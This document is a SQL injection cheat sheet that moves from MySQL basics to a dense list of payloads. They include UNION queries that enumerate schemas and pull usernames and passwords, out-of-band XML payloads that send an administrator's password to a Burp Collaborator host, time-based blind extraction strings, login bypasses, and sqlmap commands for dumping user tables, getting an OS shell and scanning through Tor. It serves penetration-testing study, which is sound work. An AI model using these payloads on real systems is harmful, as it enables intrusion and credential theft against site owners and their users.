Contents
SQL injection is a type of security vulnerability that occurs when an attacker is able to manipulate a SQL query by injecting malicious SQL code into user-input fields. This can lead to unauthorized access, data manipulation, and potentially severe security breaches.
SQL Basics
Structured Query Language (SQL) is a domain-specific language used to manage and manipulate relational databases. Here's a breakdown of common SQL commands and examples:
Update your repositories and install MySQL:
sudo apt update
sudo apt upgrade -y
sudo apt install -y mysql-server
Verify MySQL is running:
sudo systemctl status mysql
Login to MySQL:
sudo mysql
Login with a password:
mysql -h [IP] -u root -p -A
View databases:
SHOW DATABASES;
Create a database:
CREATE DATABASE <database_name>;
Delete a database:
DROP DATABASE <database_name>;
Select a database:
USE <database_name>;
Show tables:
SHOW TABLES;
Create a table:
CREATE TABLE Characters (
FirstName varchar(255),
LastName varchar(255),
Origin varchar(255),
Age int,
Alias varchar(255)
);
Delete a table:
DROP TABLE <table_name>;
Delete all items inside a table:
TRUNCATE TABLE <table_name>;
Show basic table info:
DESCRIBE <table_name>;
Adding data to a table example:
INSERT INTO Characters (FirstName, LastName, Origin, Age, Alias)
VALUES ('Thor', 'Odinson', 'Asgard', 1500, 'God of Thunder');
Add a column to a table:
ALTER TABLE <table_name> ADD <column_name> datatype;
Delete a column:
ALTER TABLE <table_name> DROP COLUMN <column_name>;
Basic select statement:
SELECT * FROM <table>;
Where clause example:
SELECT * FROM Avengers WHERE Origin = 'Earth';
Delete entry:
DELETE FROM Characters WHERE FirstName = 'Jeff';
Update entry:
UPDATE <table_name> SET <column> = <value> WHERE <condition>;
Order by ascending:
SELECT * FROM Avengers ORDER BY Age ASC;
Order by descending:
SELECT * FROM Avengers ORDER BY Age DESC;
Alter table - add a column:
ALTER TABLE <table_name> ADD <column_name> <data_type>;
Basic SELECT & Dynamic Queries
Retrieves all rows from the users table:
select * from users;
Retrieves usernames and passwords from the users table:
select username,password from users;
Retrieves the first row from the users table:
select * from users LIMIT 1;
Retrieves rows where the username is 'admin':
select * from users where username='admin';
Retrieves rows where the username is not 'admin':
select * from users where username != 'admin';
Retrieves rows where the username is 'admin' or 'jon':
select * from users where username='admin' or username='jon';
Retrieves rows where the username is 'admin' and the password is 'p4ssword':
select * from users where username='admin' and password='p4ssword';
Retrieves rows where the username starts with 'a':
select * from users where username like 'a%';
Retrieves rows where the username ends with 'n':
select * from users where username like '%n';
Retrieves rows where the username contains 'mi':
select * from users where username like '%mi%';
A dynamic query where "%username%" is likely a placeholder for user input. This can be exploited if the input is not properly sanitized:
select * from users where username = '%username%' LIMIT 1;
Similar to the previous example, this query seems to check for a username and password combination:
select * from users where username='%username%' and password='%password%' LIMIT 1;
A common SQL injection pattern where "1=1" always evaluates to true, potentially bypassing login checks:
select * from users where username='' and password='' OR 1=1;
UNION Based Attacks
Combines the results of two SELECT statements:
union select
Comments out the rest of the SQL query after the semicolon:
SELECT * from blog where id=2;--
Combines the result of the first SELECT statement with the result of the second, essentially retrieving '1' in the result set:
1 UNION SELECT 1
Retrieves the current database name:
0 UNION SELECT 1,2,database()
Retrieves table names in the 'sqli_one' database:
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
Retrieves column names from the 'staff_users' table:
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
Common for Oracle and PostgreSQL
Version of the database:
/* Oracle */'
' UNION SELECT banner, null FROM v$version--
/* MySQL and Microsoft Access */'
' UNION SELECT @@version, null#
/* PostgreSQL */'
' UNION SELECT version(), NULL--
Determine the number of columns:
/* Oracle & PostgreSQL */'
' order by 3--
/* Internal server error => 3 - 1 = 2 */
Find data type of columns:
/* Oracle */'
' UNION select 'a', 'a' from DUAL--
/* PostgreSQL */'
' UNION select 'a', 'a'--
/* Both columns accept type text */
Output the list of tables in the database:
/* Oracle */'
' UNION SELECT table_name, NULL FROM tables--
/* PostgreSQL */'
' UNION SELECT table_name, NULL FROM information_schema.tables--
Output the column names of the users table:
/* Oracle */'
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS_QWERTY'--
/* PostgreSQL */'
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'USERS_QWERTY'--
Output the list of usernames/passwords:
/* Oracle & PostgreSQL */'
' UNION select USERNAME_ZXCVBN, PASSWORD_ASDFGH from USERS_QWERTY--
Combining the result of the first SELECT statement with a constant value '1':
admin123' UNION SELECT 1;--
Combining the result of the first SELECT statement with the constant values 1, 2, and 3:
admin123' UNION SELECT 1,2,3;--
Retrieving the current database name where it contains any character:
admin123' UNION SELECT 1,2,3 where database() like '%';--
Retrieving the current database name where it starts with 's':
admin123' UNION SELECT 1,2,3 where database() like 's%';--
Retrieving table names in the 'sqli_three' database that start with 'a':
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--
Checking if the table 'users' exists in the 'sqli_three' database:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--
Retrieving column names in the 'users' table that start with 'a':
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';--
Retrieving non-'id' column names in the 'users' table that start with 'a':
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';--
Here, the attacker is injecting a UNION SELECT statement to combine the original query with a crafted XML payload. The payload uses the EXTRACTVALUE function to extract information from the XML data. The injected XML includes an external entity declaration (%remote) pointing to a remote server controlled by the attacker.
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
Using EXTRACTVALUE to extract data from an XML document, but this time within the context of an existing query. The payload attempts to load an external entity from a specific subdomain.
' || (SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual)--
These examples attempt to extract the password of the user with the username 'administrator'. The payload uses the UNION and EXTRACTVALUE functions within an XML document, concatenating the extracted password into the URL for further exploitation.
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users where username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual)--
Concatenating usernames and passwords from the 'staff_users' table with '<br>' as a separator. (Remove the backslash('\') from query '<\br>')
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<\br>') FROM staff_users
Time-Based Blind SQL Injection
Time Delay:
/* '; IF (1=2) WAITFOR DELAY '0:0:10'-- */'
'; IF (1=1) WAITFOR DELAY '0:0:10'--
Delays the execution of the query for 5 seconds:
SLEEP(5)
PostgreSQL's sleep command for time-based attacks:
'||pg_sleep(10)--
';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
';SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
';SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
' ;(SELECT CASE WHEN (username='administrator' and substring(password,1,1)='a') then pg_sleep(10) else pg_sleep(-1) end from users)--
Delay & Boolean-based SQL Injection:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
Delays the execution of the query for 5 seconds in a UNION statement:
admin123' UNION SELECT SLEEP(5);--
User or Password Bypass
Always true condition, bypassing login:
' or 1=1;--
Concatenation used for SQL injection:
username: admin'||'
Do You Know That?
One infamous technique is using "OR 1=1" in injection attempts. While it may seem like a powerful tool, its usage comes with significant risks that can have detrimental consequences, especially when it finds its way into UPDATE or DELETE statements.
The Dangers of OR 1=1:
The primary danger of using OR 1=1 lies in its ability to load all rows of a table. This may not be effective for login bypass if the application expects only one row, but the real peril arises when it infiltrates an UPDATE or DELETE statement. Consider the scenario where a user's login status is updated after a successful login:
UPDATE users SET online=1 WHERE username='<username>';
If an attacker successfully injects 'OR 1=1' here, every user would appear online, compromising the integrity of user data.
The Catastrophic Impact:
Similarly, a malicious injection in a DELETE statement, intended to remove prior session data, could wipe out session data for all users of the application. The consequences can be catastrophic, leading to loss of critical information and disruptions in user experience.
A Safer Alternative: AND 1=1
To test or confirm SQL injection without causing widespread damage, consider using "AND 1=1" with a valid input, such as a legitimate username. This approach allows you to identify vulnerabilities without the risk of modifying or deleting all records in a table. It provides a safer testing ground for developers and security professionals to address potential weaknesses in their applications.
While the allure of using OR 1=1 in SQL injection attempts may be tempting, the risks associated with its usage, especially in UPDATE or DELETE statements, cannot be understated. It is crucial for developers to adopt safer alternatives like AND 1=1 for testing and confirming vulnerabilities, minimizing the potential for unintended and severe consequences in real-world scenarios. By understanding the dangers of certain injection techniques, we can build more robust and secure web applications.
Basic SQLMap Usage
SQLMap to analyze a Burp Suite captured POST request saved to a file:
burp post request > right click > save to file
sqlmap -r your_req_save
Easy scanning option directly:
sqlmap -u "http://example.com/login.php"
Scanning with Tor: Execute a scan through Tor for increased anonymity:
sqlmap -u "http://example.com/login.php" --tor --tor-type=SOCKS5
Setting Return Time Manually: Adjust the return time for each HTTP request during scanning:
sqlmap -u "http://example.com/login.php" --time-sec=15
Listing Databases: Retrieve a list of all databases on the target site:
sqlmap -u "http://example.com/login.php" --dbs
Listing Tables in a Database: List all tables in a specific database:
sqlmap -u "http://example.com/login.php" -D site_db --tables
Dumping Table Contents: Dump the contents of a specific table in the database:
sqlmap -u "http://example.com/login.php" -D site_db -T users --dump
Listing Columns in a Table: Get a list of all columns in a table:
sqlmap -u "http://example.com/login.php" -D site_db -T users --columns
Dumping Selected Columns: Dump only selected columns from a table:
sqlmap -u "http://example.com/login.php" -D site_db -T users -C username,password --dump
Dumping Table with Admin Credentials: If you have admin credentials, dump a table from a database:
sqlmap -u "http://example.com/login.php" --method "POST" --data "username=admin&password=admin&submit=Submit" -D social_mccodes -T users --dump
OS Shell and SQL Shell: Obtain OS shell and SQL shell access:
sqlsqlmap --dbms=mysql -u "http://example.com/login.php" --os-shell
sqlmap --dbms=mysql -u "http://example.com/login.php" --sql-shell
Test Examples: Here are some test examples with various options:
sqlmap -u 'http://example.com/login' --random-agent --method POST --data 'user=SomeOne&password=pass' -p user --skip passwrd --level 5 --risk 3 --dbms SQLite --dump -T users -C notes --threads 10 --no-cast --tamper unionalltounion --union-char 1337 --flush-session -v 7
sqlmap -u 'http://example.com/login' --random-agent --method POST --data 'user=SomeOne&password=pass' -p user --skip passwrd --level 5 --risk 3 --dbms SQLite --dump -T users -C name,password,admin,notes --flush-session --threads 10 --no-cast --tamper unionalltounion --union-char 1337
Other Automated Tools:
- dotDefender
- IBM Security Appscan
- WebCruiser
- HP WebInspect
- SQLDict
- HPScrawlr
- SQL Block Monitor
- Acunetix Web Vulnerability Scanner
- GreenSQL Database Security
- Microsoft Code Analysis Tool
- NGS Squirrel Vulnerability Scanner
- WASSA
- N-Stalker
Additional Resources:
For more information and a SQL injection cheat sheet, you can refer to PortSwigger Cheat Sheet.